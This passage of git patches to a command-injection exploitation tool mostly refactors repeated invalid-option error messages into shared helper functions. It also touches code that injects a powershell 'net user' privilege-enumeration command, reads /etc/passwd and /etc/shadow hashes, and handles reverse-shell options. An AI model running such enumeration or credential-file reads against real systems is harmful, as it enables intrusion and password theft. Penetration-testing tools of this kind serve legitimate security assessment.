settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: @@ -829,8 +826,7 @@ def do_check(url, http_request_method, filename): elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + next_level + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(next_level) pass else: perform_checks(url, http_request_method, filename) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 088316b646..96e9a82fe0 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -302,8 +302,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -324,8 +323,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -389,7 +387,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ logs.executed_command(filename, cmd, shell) print(settings.command_execution_output(shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -402,8 +400,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 8303638c86..2d52ad0c62 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -312,8 +312,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -334,8 +333,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -396,7 +394,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ logs.executed_command(filename, cmd, shell) print(settings.command_execution_output(shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -409,8 +407,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b5648fbc87..695f9b430d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -383,8 +383,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.SINGLE_WHITESPACE) raise else: - err_msg = "'" + tmp_upload + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(tmp_upload) pass continue @@ -528,8 +527,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -552,8 +550,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.file_access_options(): @@ -612,7 +609,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r logs.executed_command(filename, cmd, shell) print(settings.command_execution_output(shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_critical_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -628,8 +625,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except KeyboardInterrupt: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 1a1a6fb5d7..0daac7bd5c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -299,8 +299,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 62bfeacf5f..4b8a647bce 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -247,8 +247,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass if settings.VERBOSITY_LEVEL == 0: @@ -467,8 +466,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -491,8 +489,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -571,8 +568,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index e690061edc..87dfe705d8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -515,6 +515,6 @@ def export_injection_results(cmd, separator, output, check_how_long): else: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n") # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index da3e40fa67..dc16fc24ef 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -125,8 +125,7 @@ def check_custom_injection_marker(url): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass """ diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c8fc468bea..d25b7a843d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -383,8 +383,7 @@ def shellshock_handler(url, http_request_method, filename): elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: enumeration(url, cve, check_header, filename) @@ -402,8 +401,7 @@ def shellshock_handler(url, http_request_method, filename): elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: file_access(url, cve, check_header, filename) @@ -463,7 +461,7 @@ def shellshock_handler(url, http_request_method, filename): sys.stdout.write(settings.print_payload(payload)) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -479,8 +477,7 @@ def shellshock_handler(url, http_request_method, filename): raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) continue break diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 21af364768..cea825a68f 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -97,8 +97,7 @@ def define_wordlists(): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass try: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index dd3168a840..e3d0f5f940 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -83,8 +83,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + redirection_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(redirection_option) pass except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d7eb890432..5248235de3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -142,8 +142,7 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass # Digest authentication @@ -172,8 +171,7 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass else: checks.http_auth_err_msg() @@ -1229,8 +1227,7 @@ def check_target_os(server_banner): elif got_os.lower() == "q": raise SystemExit() else: - err_msg = "'" + got_os + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(got_os) pass """ diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 68651c5372..89a58fd203 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -92,8 +92,7 @@ def set_php_working_dir(): settings.USER_DEFINED_PHP_DIR = True break else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(php_dir) pass """ @@ -113,8 +112,7 @@ def set_python_working_dir(): settings.USER_DEFINED_PYTHON_DIR = True break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass """ @@ -134,8 +132,7 @@ def set_python_interpreter(): settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_interpreter) pass """ @@ -207,8 +204,7 @@ def netcat_version(separator): return shell_options(nc_version) # Invalid command else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(nc_version) continue while True: @@ -223,8 +219,7 @@ def netcat_version(separator): elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': @@ -443,8 +438,7 @@ def other_bind_shells(separator): return shell_options(other_shell) # Invalid option else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(other_shell) continue return other_shell @@ -487,8 +481,7 @@ def bind_tcp_options(separator): return shell_options(bind_tcp_option) # Invalid option else: - err_msg = "The '" + bind_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(bind_tcp_option) continue @@ -543,12 +536,10 @@ def configure_bind_tcp(separator): else: continue else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index e2555f21c1..739849d5fb 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -107,8 +107,7 @@ def set_php_working_dir(): settings.USER_DEFINED_PHP_DIR = True break else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(php_dir) pass """ @@ -128,8 +127,7 @@ def set_python_working_dir(): settings.USER_DEFINED_PYTHON_DIR = True break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass """ @@ -149,8 +147,7 @@ def set_python_interpreter(): settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_interpreter) pass """ @@ -243,8 +240,7 @@ def netcat_version(separator): return shell_options(nc_version) # Invalid option else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(nc_version) continue while True: @@ -259,8 +255,7 @@ def netcat_version(separator): elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': @@ -500,8 +495,7 @@ def other_reverse_shells(separator): elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - err_msg = "The '" + windows_reverse_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -599,8 +593,7 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - err_msg = "The '" + web_delivery + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -655,8 +648,7 @@ def other_reverse_shells(separator): return shell_options(other_shell) # Invalid option else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(other_shell) continue return other_shell @@ -699,8 +691,7 @@ def reverse_tcp_options(separator): return shell_options(reverse_tcp_option) # Invalid option else: - err_msg = "The '" + reverse_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -758,12 +749,10 @@ def configure_reverse_tcp(separator): elif option[4:12].lower() == "uripath ": check_uripath(option[12:]) else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index e3417a89e3..d60b8802d8 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,6 +27,20 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +""" +Invalid option msg +""" +def invalid_option(option): + err_msg = "'" + option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + +""" +Invalid cmd output +""" +def invalid_cmd_output(cmd): + err_msg = "The execution of '" + cmd + "' command, does not return any output." + return err_msg + """ Reads input from terminal """ @@ -153,8 +167,7 @@ def create_github_issue(err_msg, exc_msg): print(settings.SINGLE_WHITESPACE) return else: - err_msg = "'" + choise + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + invalid_option(choise) pass except: print("\n") diff --git a/src/utils/crawler.py b/src/utils/crawler.py index d657097332..c0952f3cd4 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -52,8 +52,7 @@ def set_crawling_depth(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass # Change the crawling depth level. @@ -89,7 +88,7 @@ def normalize_results(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." + common.invalid_option(message) print(settings.print_error_msg(err_msg)) pass @@ -115,9 +114,7 @@ def store_crawling(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - sys.stdout.write(settings.print_error_msg(err_msg)) - sys.stdout.flush() + common.invalid_option(message) pass @@ -150,8 +147,7 @@ def sitemap(url): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass no_usable_links(sitemap_loc) return sitemap_loc @@ -221,8 +217,7 @@ def enable_crawler(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass set_crawling_depth() @@ -243,8 +238,7 @@ def check_sitemap(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass """ diff --git a/src/utils/install.py b/src/utils/install.py index 40b1a2daea..897894e222 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -83,8 +83,7 @@ def installer(): uninstall in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + uninstall + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(uninstall) pass # Check for git. diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index e545b77d2d..c970cd8b33 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -304,8 +304,7 @@ def notification(url, technique, injection_type): else: pass else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) @@ -313,8 +312,7 @@ def notification(url, technique, injection_type): elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(settings.LOAD_SESSION) pass except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index d281831f04..7962549441 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "80" +REVISION = "81" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/update.py b/src/utils/update.py index 6ad463b601..65d9c3df67 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -143,8 +143,7 @@ def check_for_update(): elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass except KeyboardInterrupt: raise @@ -241,8 +240,7 @@ def check_unicorn_version(current_version): elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass except KeyboardInterrupt: From e1461c9d923d4140d057c30c6f0e066cd03895a4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 14 Jun 2022 07:34:55 +0300 Subject: [PATCH 0159/1023] Minor updates --- src/core/injections/controller/checks.py | 49 ++++++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 29 insertions(+), 22 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4319db5a8f..d01072c8a6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1719,6 +1719,7 @@ def print_current_user_privs(shell, filename, _): # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() @@ -1729,7 +1730,7 @@ def print_os_info(target_os, target_arch, filename, _): if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1770,12 +1771,12 @@ def print_users_msg(self): info_msg = "Executing the 'net users' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " - info_msg += "in order to enumerate users entries. " + info_msg += "in order to enumerate operating system users. " print(settings.print_info_msg(info_msg)) def print_passes_msg(self): info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " - info_msg += "in order to enumerate users password hashes. " + info_msg += "in order to enumerate operating system users password hashes. " print(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): @@ -1798,9 +1799,9 @@ def print_users(sys_users, filename, _): sys_users_list = sys_users_list.split() if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1813,7 +1814,7 @@ def print_users(sys_users, filename, _): if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = escape_single_quoted_cmd(cmd) cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = cb_injector.injection_results(response, TAG, cmd) @@ -1830,21 +1831,23 @@ def print_users(sys_users, filename, _): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." + warn_msg = "It seems that you don't have permissions to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." + warn_msg = "It seems that you don't have permissions to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass @@ -1875,9 +1878,9 @@ def print_users(sys_users, filename, _): if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1918,11 +1921,13 @@ def print_users(sys_users, filename, _): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -1945,7 +1950,7 @@ def print_users(sys_users, filename, _): except IndexError: # print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass @@ -1959,9 +1964,9 @@ def print_passes(sys_passes, filename, _): if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_passes) == 1] + info_msg += " password hashes [" + str(len(sys_passes)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -1979,7 +1984,9 @@ def print_passes(sys_passes, filename, _): # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7962549441..233f30b3ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "81" +REVISION = "82" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + 